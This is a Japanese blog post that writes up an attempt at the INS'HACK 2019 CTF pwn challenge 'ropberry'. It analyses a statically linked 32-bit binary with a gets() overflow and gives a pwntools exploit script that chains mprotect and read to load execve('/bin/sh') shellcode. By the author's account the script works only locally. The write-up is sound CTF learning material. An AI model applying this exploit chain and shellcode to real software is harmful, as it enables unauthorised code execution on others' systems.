INS'HACK2019 Writeup にしようとしたもの

はじめに

INS'HACK2019にチームContrailとして参加したものの1問もフラグを得られず全くチームに貢献することができなかった. Pwnで1問だけローカル環境のみでシェルの起動に成功した問題があるため,自分が取り組んだことについてまとめたい.


問題

  • ropberry
You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something.
He is waiting for you at: ssh -i <your_keyfile> -p 2226 user@ropberry.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.


バイナリの解析

$ file ropberry
ropberry: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3338b24648887e1839f7a07a5bfb9e4bc313bec5, not stripped


$ checksec.sh --file ropberry
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   ropberry


気になったこと

  • 今回与えられたファイルは静的リンクされたバイナリである.
  • STACK CANARYNo canary foundであるため,バッファオーバーフローが狙えそうである.

考えたこと

脆弱性vuln()内でgets()が使用されていたため,すぐに見つかった.
その後,シェルを起動させるために,バイナリ内に存在する次のような関数を用いて1~4に示す方針を立てた.

$ readelf -s ropberry
  1473: 080580d0    99 FUNC    WEAK   DEFAULT    6 read
  1991: 08058d40    37 FUNC    WEAK   DEFAULT    6 mprotect
  1. バッファオーバーフローEIPを書き換えた後,ROPchainを流し込む.
  2. mprotectでメモリ上に存在する固定アドレスの一部に実行可能属性を付与する.
  3. readで実行可能な領域にシェルコードを読み込む
  4. EIPをシェルコードの先頭にする.

NXNX enabledとなっているが,mprotectでメモリ領域の保護属性を変更可能であるためあまり関係がない.

  • mprotect()呼び出し前

f:id:m412u:20190509205832p:plain

  • mprotect()呼び出し後

f:id:m412u:20190509205844p:plain

mprotect

int mprotect(void *addr, size_t len, int prot);

気をつけること

addrはページサイズでアラインメントする必要がある.Linuxのページフレームは4KB(0x1000)境界であるため,下位12bitは0x0となる.

read

ssize_t read(int fd, void *buf, size_t count);


作成したエクスプロイトコード

from pwn import *

context.log_level = "DEBUG"

elf = ELF("./ropberry")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
fflush_addr = elf.symbols["fflush"]
print "mprotect:", hex(elf.symbols["mprotect"])
print "read:", hex(elf.symbols["read"])

shellcode = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
    
payload = ""
payload += "A" * 8
payload += p32(mprotect_addr) # mprotect
payload += p32(0x0804859c)    # pop3ret
payload += p32(0x080ee000)    # buf
payload += p32(0x1000)        # size
payload += p32(0x7)
payload += p32(read_addr)     # read
payload += p32(0x080ee000)    # 
payload += p32(0x0)           # stdin
payload += p32(0x080ee000)    # buf
payload += p32(0x1000)        # size

p = process("./ropberry")
#shell = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, password=None, keyfile="~/.ssh/id_inshack")
#p = shell.run("sh")

print(p.recv())
p.sendline(payload)
p.send(b"\x90" * (0x1000-len(shellcode)) + shellcode)

p.interactive()

おわりに

現時点で,リモートでシェルの起動させることができなかった原因はわからず.


記事に間違い,もしくは原因がわかる方がおられましたら連絡していただけると幸いです.